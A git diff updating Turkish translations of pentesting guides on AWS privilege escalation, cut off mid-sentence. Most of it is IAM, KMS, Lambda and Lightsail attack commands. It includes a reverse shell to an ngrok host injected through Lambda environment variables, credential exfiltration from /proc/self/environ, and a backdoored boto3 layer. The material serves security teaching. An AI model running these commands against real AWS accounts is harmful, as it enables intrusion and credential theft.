**AWS Glue işini** oluşturabilir veya güncelleyebilir, herhangi bir **Glue hizmet hesabı** ekleyebilir ve işin yürütülmesini başlatabilir. İşin yetenekleri, ters bir shell çalıştırmayı içeren rastgele Python kodunu çalıştırmayı içerir; bu, Glue işine ekli olan rolün **IAM kimlik bilgilerini** dışarı aktarmak için kullanılabilir ve bu da o rolün izinlerine dayalı olarak potansiyel yetkisiz erişim veya eylemlere yol açabilir: +**`iam:PassRole`** ile birlikte **`glue:CreateJob` veya `glue:UpdateJob`** ve **`glue:StartJobRun` veya `glue:CreateTrigger`** yetkilerine sahip kullanıcılar, **AWS Glue işini oluşturabilir veya güncelleyebilir**, herhangi bir **Glue hizmet hesabı** ekleyebilir ve işin yürütülmesini başlatabilir. İşin yetenekleri, ters bir shell çalıştırmayı içeren rastgele Python kodu çalıştırmayı içerir; bu, Glue işine ekli rolün **IAM kimlik bilgilerini** dışarı aktarmak için kullanılabilir. Bu, o rolün izinlerine dayalı olarak potansiyel yetkisiz erişim veya eylemlere yol açabilir: ```bash # Content of the python script saved in s3: #import socket,subprocess,os @@ -75,9 +75,9 @@ aws glue create-trigger --name triggerprivesc --type SCHEDULED \ ### `glue:UpdateJob` -Sadece güncelleme izni ile bir saldırgan, zaten ekli olan rolün IAM Kimlik Bilgilerini çalabilir. +Sadece güncelleme izni ile bir saldırgan, zaten bağlı olan rolün IAM Kimlik Bilgilerini çalabilir. -**Olası Etki:** Ekli olan glue hizmet rolüne privesc. +**Olası Etki:** Bağlı olan glue hizmet rolüne privesc. ## Referanslar diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md index a33b99dcf..cb72adb87 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md @@ -12,7 +12,7 @@ IAM hakkında daha fazla bilgi için kontrol edin: ### **`iam:CreatePolicyVersion`** -Yeni bir IAM politika versiyonu oluşturma yetkisi verir, `iam:SetDefaultPolicyVersion` iznine ihtiyaç duymadan `--set-as-default` bayrağını kullanarak. Bu, özel izinlerin tanımlanmasını sağlar. +Yeni bir IAM politika versiyonu oluşturma yetkisi verir, `--set-as-default` bayrağını kullanarak `iam:SetDefaultPolicyVersion` izni gereksinimini atlar. Bu, özel izinlerin tanımlanmasını sağlar. **Exploit Command:** ```bash @@ -79,11 +79,11 @@ aws iam create-service-specific-credential --user-name --service-name ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` -**Etkisi:** Kullanıcının hizmet izinleri içinde doğrudan yetki yükseltme. +**Etkisi:** Kullanıcının hizmet izinleri içinde doğrudan ayrıcalık yükseltme. ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -Politikaların kullanıcılara veya gruplara eklenmesine izin verir, eklenen politikanın izinlerini miras alarak doğrudan yetki yükseltir. +Politikaların kullanıcılara veya gruplara eklenmesine izin verir, eklenen politikanın izinlerini miras alarak ayrıcalıkları doğrudan yükseltir. **Kullanıcı için Sömürü:** ```bash @@ -103,7 +103,7 @@ Rollere, kullanıcılara veya gruplara politikalar eklemeye veya koymaya izin ve ```bash aws iam attach-role-policy --role-name --policy-arn "" ``` -**Satır İçi Politikalara Saldırı:** +**Satır İçi Politika için İstismar:** ```bash aws iam put-user-policy --user-name --policy-name "" \ --policy-document "file:///path/to/policy.json" @@ -114,7 +114,7 @@ aws iam put-group-policy --group-name --policy-name "" aws iam put-role-policy --role-name --policy-name "" \ --policy-document file:///path/to/policy.json ``` -Bir politika kullanabilirsiniz: +Aşağıdaki gibi bir politika kullanabilirsiniz: ```json { "Version": "2012-10-17", @@ -148,7 +148,7 @@ Bir rolün varsayılan rol politikası belgesini değiştirmeye izin verir, böy aws iam update-assume-role-policy --role-name \ --policy-document file:///path/to/assume/role/policy.json ``` -Aşağıdaki gibi görünen bir politika, kullanıcıya rolü üstlenme izni verir: +Politika aşağıdaki gibi görünüyorsa, bu kullanıcıya rolü üstlenme izni verir: ```json { "Version": "2012-10-17", @@ -163,11 +163,11 @@ Aşağıdaki gibi görünen bir politika, kullanıcıya rolü üstlenme izni ver ] } ``` -**Etkisi:** Herhangi bir rolün izinlerini üstlenerek doğrudan yetki yükseltme. +**Etkisi:** Herhangi bir rolün izinlerini üstlenerek doğrudan ayrıcalık yükseltme. ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -CodeCommit'e kimlik doğrulamak için bir SSH genel anahtarı yüklemeye ve MFA cihazlarını devre dışı bırakmaya izin verir, bu da potansiyel dolaylı yetki yükseltmeye yol açar. +CodeCommit'e kimlik doğrulamak için bir SSH genel anahtarının yüklenmesine ve MFA cihazlarının devre dışı bırakılmasına izin verir, bu da potansiyel dolaylı ayrıcalık yükseltmesine yol açar. **SSH Anahtarı Yükleme için Sömürü:** ```bash @@ -192,7 +192,7 @@ aws iam resync-mfa-device --user-name --serial-number ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -Bu izinlerle **SAML bağlantısının XML meta verisini değiştirebilirsiniz**. Ardından, **SAML federasyonunu** **güvenen** herhangi bir **rol ile giriş yapmak** için kötüye kullanabilirsiniz. +Bu izinlerle **SAML bağlantısının XML meta verisini değiştirebilirsiniz**. Ardından, **SAML federasyonunu** kullanarak **güvenen** herhangi bir **rol ile giriş yapabilirsiniz**. Bunu yapmanın **meşru kullanıcıların giriş yapamayacağını** unutmayın. Ancak, XML'i alabilir, kendi XML'inizi koyabilir, giriş yapabilir ve önceki ayarları yapılandırabilirsiniz. ```bash @@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar aws iam update-saml-provider --saml-metadata-document --saml-provider-arn ``` > [!NOTE] -> TODO: Belirtilen bir rol ile giriş yapabilen SAML meta verisi üretebilen bir Araç +> TODO: Belirtilen bir rol ile giriş yapabilen SAML meta verisi üretebilen bir araç ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(Bu konuda emin değilim) Eğer bir saldırgan bu **izinlere** sahipse, sağlayıcıya güvenen tüm rollerde giriş yapabilmek için yeni bir **Parmak İzi** ekleyebilir. +(Bu konuda emin değilim) Eğer bir saldırgan bu **izinlere** sahipse, sağlayıcıya güvenen tüm rollere giriş yapabilmek için yeni bir **Thumbprint** ekleyebilir. ```bash # List providers aws iam list-open-id-connect-providers diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md index 70064847d..771ff2d5b 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md @@ -49,7 +49,7 @@ policy.json: ``` ### `kms:CreateGrant` -Bu, **bir yetkilinin bir KMS anahtarını kullanmasına izin verir:** +Bu, **bir yetkilinin KMS anahtarını kullanmasına izin verir:** ```bash aws kms create-grant \ --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ @@ -57,12 +57,12 @@ aws kms create-grant \ --operations Decrypt ``` > [!WARNING] -> Bir grant yalnızca belirli türdeki işlemlere izin verebilir: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) +> Bir yetki yalnızca belirli türdeki işlemlere izin verebilir: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) > [!WARNING] -> Grant oluşturulduktan sonra KMS'nin **kullanıcının anahtarı kullanmasına izin vermesi birkaç dakika sürebilir**. Bu süre geçtikten sonra, yetkili KMS anahtarını herhangi bir şey belirtmeden kullanabilir.\ -> Ancak, grant'i hemen kullanmak gerekiyorsa [bir grant token kullanın](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (aşağıdaki kodu kontrol edin).\ -> [**Daha fazla bilgi için bunu okuyun**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token). +> KMS'nin **yetki oluşturulduktan sonra kullanıcının anahtarı kullanmasına izin vermesi birkaç dakika sürebilir**. Bu süre geçtikten sonra, yetkili KMS anahtarını herhangi bir şey belirtmeden kullanabilir.\ +> Ancak, yetkiyi hemen kullanmak gerekiyorsa [bir yetki belirteci kullanın](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (aşağıdaki kodu kontrol edin).\ +> [**daha fazla bilgi için bunu okuyun**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token). ```bash # Use the grant token in a request aws kms generate-data-key \ @@ -70,7 +70,7 @@ aws kms generate-data-key \ –-key-spec AES_256 \ --grant-tokens $token ``` -Not edin ki, anahtarların yetkilerini listelemek mümkündür: +Anahtarların izinlerini listelemenin mümkün olduğunu unutmayın: ```bash aws kms list-grants --key-id ``` @@ -78,7 +78,7 @@ aws kms list-grants --key-id Bu izinlerle, çok bölgeli etkin bir KMS anahtarını farklı bir bölgede farklı bir politika ile çoğaltmak mümkündür. -Yani, bir saldırgan bunu kullanarak anahtara erişimini artırabilir ve onu kullanabilir. +Yani, bir saldırgan bunu anahtara erişimini artırmak ve kullanmak için kötüye kullanabilir. ```bash aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md index fda77df26..10d8cec44 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md @@ -4,7 +4,7 @@ ## lambda -Lambda hakkında daha fazla bilgi için: +lambda hakkında daha fazla bilgi için: {{#ref}} ../aws-services/aws-lambda-enum.md @@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' ) return response ``` -Lambda'nın rol kimlik bilgilerini dış bağlantıya ihtiyaç duymadan sızdırmak da mümkündür. Bu, iç görevlerde kullanılan **Ağdan İzole Lambdalar** için faydalı olacaktır. Eğer bilinmeyen güvenlik grupları ters shell'lerinizi filtreliyorsa, bu kod parçası, kimlik bilgilerini lambda'nın çıktısı olarak doğrudan sızdırmanıza olanak tanıyacaktır. +Lambda'nın rol kimlik bilgilerini dış bağlantıya ihtiyaç duymadan sızdırmak da mümkündür. Bu, iç görevlerde kullanılan **Ağdan İzole Lambdalar** için faydalı olacaktır. Eğer ters shell'lerinizi filtreleyen bilinmeyen güvenlik grupları varsa, bu kod parçası, kimlik bilgilerini lambda'nın çıktısı olarak doğrudan sızdırmanıza olanak tanıyacaktır. ```python def handler(event, context): sessiontoken = open('/proc/self/environ', "r").read() @@ -92,14 +92,14 @@ aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_ **`iam:PassRole`, `lambda:CreateFunction` ve `lambda:CreateEventSourceMapping`** izinlerine sahip kullanıcılar (ve potansiyel olarak `dynamodb:PutItem` ve `dynamodb:CreateTable`) dolaylı olarak **yetki yükseltebilirler**; hatta `lambda:InvokeFunction` olmadan bile.\ Kötü niyetli kod içeren bir **Lambda fonksiyonu oluşturabilir ve ona mevcut bir IAM rolü atayabilirler**. -Kullanıcı doğrudan Lambda'yı çağırmak yerine, mevcut bir DynamoDB tablosu kurar veya kullanır ve bunu bir olay kaynağı eşlemesi aracılığıyla Lambda ile bağlar. Bu kurulum, Lambda fonksiyonunun tablodaki yeni bir öğe girişi ile **otomatik olarak tetiklenmesini** sağlar; bu, kullanıcının eylemi veya başka bir işlem tarafından gerçekleşebilir ve böylece Lambda fonksiyonu dolaylı olarak çağrılır ve kod, geçirilen IAM rolünün izinleriyle yürütülür. +Kullanıcı doğrudan Lambda'yı çağırmak yerine, mevcut bir DynamoDB tablosu kurar veya kullanır ve bunu bir olay kaynağı eşlemesi aracılığıyla Lambda ile bağlar. Bu kurulum, Lambda fonksiyonunun tablodaki yeni bir öğe girişi ile **otomatik olarak tetiklenmesini** sağlar; bu, kullanıcının eylemi veya başka bir işlem tarafından gerçekleşebilir ve böylece Lambda fonksiyonunu dolaylı olarak çağırarak kodu geçirilen IAM rolünün izinleriyle çalıştırır. ```bash aws lambda create-function --function-name my_function \ --runtime python3.8 --role \ --handler lambda_function.lambda_handler \ --zip-file fileb://rev.zip ``` -Eğer DynamoDB AWS ortamında zaten aktifse, kullanıcı sadece **Lambda fonksiyonu için olay kaynağı eşlemesini oluşturması** gerekir. Ancak, eğer DynamoDB kullanılmıyorsa, kullanıcı **streaming etkinleştirilmiş yeni bir tablo oluşturmalıdır:** +Eğer DynamoDB AWS ortamında zaten aktifse, kullanıcı sadece **Lambda fonksiyonu için olay kaynağı eşlemesini oluşturması** gerekir. Ancak, eğer DynamoDB kullanılmıyorsa, kullanıcı **akış etkinleştirilmiş yeni bir tablo oluşturmalıdır:** ```bash aws dynamodb create-table --table-name my_table \ --attribute-definitions AttributeName=Test,AttributeType=S \ @@ -118,7 +118,7 @@ DynamoDB akışına bağlı Lambda işlevi ile, saldırgan **DynamoDB akışın aws dynamodb put-item --table-name my_table \ --item Test={S="Random string"} ``` -**Olası Etki:** Belirtilen lambda hizmet rolüne doğrudan yetki yükseltme. +**Olası Etki:** Belirtilen lambda hizmet rolüne doğrudan yetki artırımı. ### `lambda:AddPermission` @@ -134,7 +134,7 @@ aws lambda invoke --function-name /tmp/outout ### `lambda:AddLayerVersionPermission` -Bu izne sahip bir saldırgan **kendisine (veya başkalarına) `lambda:GetLayerVersion` iznini verebilir**. Katmana erişebilir ve güvenlik açıkları veya hassas bilgiler arayabilir. +Bu izne sahip bir saldırgan **kendisine (veya başkalarına) `lambda:GetLayerVersion` iznini verebilir**. Katmana erişebilir ve zayıflıkları veya hassas bilgileri arayabilir. ```bash # Give everyone the permission lambda:GetLayerVersion aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion @@ -161,13 +161,13 @@ aws lambda invoke --function-name my_function output.txt ### `lambda:UpdateFunctionConfiguration` -#### Çevresel değişkenler aracılığıyla RCE +#### Ortam değişkenleri aracılığıyla RCE -Bu izinlerle, Lambda'nın rastgele kod çalıştırmasına neden olacak çevresel değişkenler eklemek mümkündür. Örneğin, python'da `PYTHONWARNING` ve `BROWSER` çevresel değişkenlerini kötüye kullanarak bir python sürecinin rastgele komutlar çalıştırması sağlanabilir: +Bu izinlerle, Lambda'nın rastgele kod çalıştırmasına neden olacak ortam değişkenleri eklemek mümkündür. Örneğin, Python'da `PYTHONWARNING` ve `BROWSER` ortam değişkenlerini kötüye kullanarak bir Python sürecinin rastgele komutlar çalıştırması sağlanabilir: ```bash aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}" ``` -Diğer betik dilleri için kullanabileceğiniz başka ortam değişkenleri vardır. Daha fazla bilgi için aşağıdaki bağlantıdaki betik dilleri alt bölümlerine bakın: +Diğer betik dilleri için kullanabileceğiniz başka ortam değişkenleri vardır. Daha fazla bilgi için betik dillerinin alt bölümlerine bakın: {{#ref}} https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse @@ -200,7 +200,7 @@ Bunlar yerlerdir: Örneğin, boto3 kütüphanesi `/var/runtime/boto3` (4. pozisyon) konumundan yüklenir. -#### Sömürü +#### İstismar `lambda:UpdateFunctionConfiguration` iznini kötüye kullanarak bir lambda fonksiyonuna **yeni bir katman eklemek** mümkündür. Rastgele kod çalıştırmak için bu katmanın **lambda'nın içe aktaracağı bazı kütüphaneleri içermesi** gerekir. Lambda'nın kodunu okuyabiliyorsanız, bunu kolayca bulabilirsiniz, ayrıca lambda'nın **zaten bir katman kullanıyor olabileceğini** ve bu katmanı **indirebileceğinizi** ve **oraya kodunuzu ekleyebileceğinizi** unutmayın. @@ -208,14 +208,14 @@ Bunlar yerlerdir: ```bash pip3 install -t ./lambda_layer boto3 ``` -You can open `./lambda_layer/boto3/__init__.py` and **global kodda arka kapıyı ekleyin** (örneğin, kimlik bilgilerini dışa aktaran veya ters shell alan bir fonksiyon). +`./lambda_layer/boto3/__init__.py` dosyasını açabilir ve **global kodda arka kapıyı ekleyebilirsiniz** (örneğin, kimlik bilgilerini dışa aktaran bir fonksiyon veya ters shell almak için). -Then, zip that `./lambda_layer` directory and **yeni lambda katmanını** kendi hesabınıza (veya kurbanın hesabına, ancak bunun için izinleriniz olmayabilir) yükleyin.\ -Not edin ki, /opt/python/boto3'ü geçersiz kılmak için bir python klasörü oluşturmanız ve kütüphaneleri oraya koymanız gerekiyor. Ayrıca, katmanın **lambda tarafından kullanılan python sürümüyle uyumlu olması** gerekiyor ve eğer bunu hesabınıza yüklüyorsanız, **aynı bölgede** olması gerekiyor: +Sonra, `./lambda_layer` dizinini zipleyin ve **yeni lambda katmanını** kendi hesabınıza (veya kurbanın hesabına, ancak bunun için izinleriniz olmayabilir) yükleyin.\ +Bir python klasörü oluşturmanız ve kütüphaneleri oraya koymanız gerektiğini unutmayın, böylece /opt/python/boto3'ü geçersiz kılabilirsiniz. Ayrıca, katmanın **lambda tarafından kullanılan python sürümüyle uyumlu olması** gerekir ve eğer bunu hesabınıza yüklüyorsanız, **aynı bölgede** olması gerekir: ```bash aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" ``` -Şimdi, yüklenen lambda katmanını **herhangi bir hesap tarafından erişilebilir hale getirin**: +Şimdi yüklenen lambda katmanını **herhangi bir hesap tarafından erişilebilir hale getirin**: ```bash aws lambda add-layer-version-permission --layer-name boto3 \ --version-number 1 --statement-id public \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md index ee2ac7596..7693deab7 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md @@ -11,7 +11,7 @@ Lightsail hakkında daha fazla bilgi için kontrol edin: {{#endref}} > [!WARNING] -> Lightsail'in **kullanıcının IAM rollerini kullanmadığını** ancak bir AWS yönetilen hesabına ait olduğunu belirtmek önemlidir, bu nedenle bu hizmeti privesc için kötüye kullanamazsınız. Ancak, **duyarlı veriler** olarak kod, API anahtarları ve veritabanı bilgileri bu hizmette bulunabilir. +> Lightsail'in **kullanıcının IAM rollerini kullanmadığını** ancak bir AWS yönetilen hesabına ait olduğunu belirtmek önemlidir, bu nedenle bu hizmeti privesc için kötüye kullanamazsınız. Ancak, bu hizmette **duyarlı veriler** olarak kod, API anahtarları ve veritabanı bilgileri bulunabilir. ### `lightsail:DownloadDefaultKeyPair` @@ -31,7 +31,7 @@ aws lightsail get-instance-access-details --instance-name ### `lightsail:CreateBucketAccessKey` -Bu izin, size kovaya erişim anahtarı almanıza olanak tanır: +Bu izin, size kovaya erişim sağlamak için bir anahtar almanıza olanak tanır: ```bash aws lightsail create-bucket-access-key --bucket-name ``` @@ -55,7 +55,7 @@ Eğer veritabanı kamuya açık değilse, bu izinlerle kamuya açık hale getire ```bash aws lightsail update-relational-database --relational-database-name --publicly-accessible ``` -**Olası Etki:** Veritabanında hassas bilgileri bulmak. +**Olası Etki:** Veritabanında hassas bilgileri bulma. ### `lightsail:OpenInstancePublicPorts` @@ -86,7 +86,7 @@ aws set-resource-access-for-bucket \ --bucket-name \ --access allow ``` -**Potansiyel Etki:** Hassas bilgilere sahip bucket'lara potansiyel yeni erişim. +**Olası Etki:** Hassas bilgilere sahip bucket'lara potansiyel yeni erişim. ### `lightsail:UpdateBucket` @@ -101,7 +101,7 @@ aws update-bucket --bucket-name --access-rules getObject=public,allowPub # Bucket private but single objects can be public aws update-bucket --bucket-name --access-rules getObject=private,allowPublicOverrides=true ``` -**Potansiyel Etki:** Hassas bilgilere sahip bucket'lara potansiyel yeni erişim. +**Olası Etki:** Hassas bilgileri içeren bucket'lara potansiyel yeni erişim. ### `lightsail:UpdateContainerService` @@ -111,11 +111,11 @@ aws update-container-service \ --service-name \ --private-registry-access ecrImagePullerRole={isActive=boolean} ``` -**Olası Etki:** Özel ECR'den hassas bilgiler elde etme +**Olası Etki:** Özel ECR'den hassas bilgileri elde etme ### `lightsail:CreateDomainEntry` -Bu izne sahip bir saldırgan, alt alan adı oluşturabilir ve bunu kendi IP adresine yönlendirebilir (alt alan adı ele geçirme), ya da alan adından e-posta sahteciliği yapmasına izin veren bir SPF kaydı oluşturabilir, hatta ana alan adını kendi IP adresine ayarlayabilir. +Bu izne sahip bir saldırgan, alt alan adı oluşturabilir ve bunu kendi IP adresine yönlendirebilir (alt alan adı ele geçirme), ya da alan adından e-postaları sahtelemek için bir SPF kaydı oluşturabilir, hatta ana alan adını kendi IP adresine ayarlayabilir. ```bash aws lightsail create-domain-entry \ --domain-name example.com \ @@ -125,7 +125,7 @@ aws lightsail create-domain-entry \ ### `lightsail:UpdateDomainEntry` -Bu izne sahip bir saldırgan, alt alan adı oluşturabilir ve bunu kendi IP adresine yönlendirebilir (alt alan adı ele geçirme), ya da alan adından e-postaları sahtelemek için bir SPF kaydı oluşturabilir, hatta ana alan adını kendi IP adresine ayarlayabilir. +Bu izne sahip bir saldırgan, alt alan adı oluşturabilir ve bunu kendi IP adresine yönlendirebilir (alt alan adı ele geçirme), ya da alan adından e-posta sahteciliği yapmasına olanak tanıyan bir SPF kaydı oluşturabilir, hatta ana alan adını kendi IP adresine ayarlayabilir. ```bash aws lightsail update-domain-entry \ --domain-name example.com \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md index 7a20d7e3e..54a521e28 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md @@ -4,13 +4,13 @@ ### `mediapackage:RotateChannelCredentials` -Kanalın ilk IngestEndpoint'inin kullanıcı adını ve şifresini değiştirir. (Bu API RotateIngestEndpointCredentials için kullanımdan kaldırılmıştır) +Channel'ın ilk IngestEndpoint'inin kullanıcı adını ve şifresini değiştirir. (Bu API, RotateIngestEndpointCredentials için kullanımdan kaldırılmıştır) ```bash aws mediapackage rotate-channel-credentials --id ``` ### `mediapackage:RotateIngestEndpointCredentials` -Channel'ın ilk IngestEndpoint'unun kullanıcı adını ve şifresini değiştirir. (Bu API, RotateIngestEndpointCredentials için kullanımdan kaldırılmıştır) +Kanalın ilk IngestEndpoint'inin kullanıcı adını ve şifresini değiştirir. (Bu API, RotateIngestEndpointCredentials için kullanımdan kaldırılmıştır) ```bash aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63 ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md index de2a5c476..bcd0457ee 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md @@ -17,11 +17,11 @@ Bu izinlerle **bir ActimeMQ broker'ında yeni bir kullanıcı oluşturabilirsini aws mq list-brokers aws mq create-user --broker-id --console-access --password --username ``` -**Potansiyel Etki:** ActiveMQ üzerinden hassas bilgilere erişim +**Olası Etki:** ActiveMQ üzerinden hassas bilgilere erişim ### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser` -Bu izinlerle **ActiveMQ broker'ında yeni bir kullanıcı oluşturabilirsiniz** (bu RabbitMQ'da çalışmaz): +Bu izinlerle **bir ActiveMQ broker'ında yeni bir kullanıcı oluşturabilirsiniz** (bu RabbitMQ'da çalışmaz): ```bash aws mq list-brokers aws mq list-users --broker-id @@ -31,13 +31,13 @@ aws mq update-user --broker-id --console-access --password --use ### `mq:ListBrokers`, `mq:UpdateBroker` -Eğer bir broker **ActiveMQ** ile yetkilendirme için **LDAP** kullanıyorsa, **saldırgan tarafından kontrol edilen** bir **LDAP sunucusunun yapılandırmasını değiştirmek** mümkündür. Bu şekilde saldırgan, **LDAP üzerinden gönderilen tüm kimlik bilgilerini çalabilir**. +Eğer bir broker **ActiveMQ** ile yetkilendirme için **LDAP** kullanıyorsa, **saldırgan tarafından kontrol edilen** **LDAP sunucusunun** **konfigürasyonunu değiştirmek** mümkündür. Bu şekilde saldırgan, **LDAP üzerinden gönderilen tüm kimlik bilgilerini çalabilir**. ```bash aws mq list-brokers aws mq update-broker --broker-id --ldap-server-metadata=... ``` -Eğer bir şekilde ActiveMQ tarafından kullanılan orijinal kimlik bilgilerini bulabilirseniz, bir MitM gerçekleştirebilir, kimlik bilgilerini çalabilir, bunları orijinal sunucuda kullanabilir ve yanıtı gönderebilirsiniz (belki sadece çalınan kimlik bilgilerini yeniden kullanarak bunu yapabilirsiniz). +Eğer ActiveMQ tarafından kullanılan orijinal kimlik bilgilerini bir şekilde bulabilirseniz, bir MitM gerçekleştirebilir, kimlik bilgilerini çalabilir, bunları orijinal sunucuda kullanabilir ve yanıtı gönderebilirsiniz (belki sadece çalınan kimlik bilgilerini yeniden kullanarak bunu yapabilirsiniz). -**Potansiyel Etki:** ActiveMQ kimlik bilgilerini çalmak +**Olası Etki:** ActiveMQ kimlik bilgilerini çalmak {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md index cea07610e..4fa50473e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md @@ -16,7 +16,7 @@ Bu **yetkiler** ve **kafka brokerlarının bulunduğu VPC'ye erişim ile**, onla ```bash aws msk --client-authentication --cluster-arn --current-version ``` -VPC'ye erişiminiz olmalı çünkü **Kafka'yı kamuya açık bir şekilde None kimlik doğrulaması ile etkinleştiremezsiniz**. Eğer kamuya açıksa, eğer **SASL/SCRAM** kimlik doğrulaması kullanılıyorsa, **gizli anahtarı** okuyabilirsiniz (gizli anahtarı okumak için ek ayrıcalıklara ihtiyacınız olacak).\ +VPC'ye erişiminiz olmalı çünkü **Kafka'yı kamuya açık bir şekilde None kimlik doğrulaması ile etkinleştiremezsiniz**. Eğer kamuya açıksa, **SASL/SCRAM** kimlik doğrulaması kullanılıyorsa, **gizli anahtarı** okumak için erişim sağlayabilirsiniz (gizli anahtarı okumak için ek ayrıcalıklara ihtiyacınız olacak).\ Eğer **IAM rol tabanlı kimlik doğrulaması** kullanılıyorsa ve **kafka kamuya açık bir şekilde** maruz kalıyorsa, bu ayrıcalıkları kötüye kullanarak erişim izinleri alabilirsiniz. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md index d88733973..7e158f33c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md @@ -1,8 +1,8 @@ -# AWS - Organizations Privesc +# AWS - Organizasyonlar Privesc {{#include ../../../banners/hacktricks-training.md}} -## Organizations +## Organizasyonlar Daha fazla bilgi için kontrol edin: @@ -13,6 +13,6 @@ Daha fazla bilgi için kontrol edin: ## Yönetim Hesabından Çocuk Hesaplara Eğer root/yönetim hesabını ele geçirirseniz, tüm çocuk hesapları ele geçirme şansınız vardır.\ -[**Bu sayfayı kontrol ederek öğrenin**](../#compromising-the-organization). +[**Bunu nasıl öğrenirsiniz bu sayfaya bakın**](../#compromising-the-organization). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md index 94c000922..6fbea136c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md @@ -27,7 +27,7 @@ aws rds modify-db-instance \ psql postgresql://:@:5432/ ``` > [!WARNING] -> Veritabanı ile **iletişim kurabilmeniz** gerekecek (genellikle yalnızca iç ağlardan erişilebilirler). +> Veritabanına **ulaşabilmeniz** gerekecek (genellikle yalnızca iç ağlardan erişilebilirler). **Olası Etki:** Veritabanlarında hassas bilgileri bulmak. @@ -40,17 +40,17 @@ psql postgresql://:@:5432/ #### Postgresql (Aurora) > [!TIP] -> **`SELECT datname FROM pg_database;`** komutunu çalıştırdığınızda **`rdsadmin`** adında bir veritabanı bulursanız, bir **AWS postgresql veritabanı** içinde 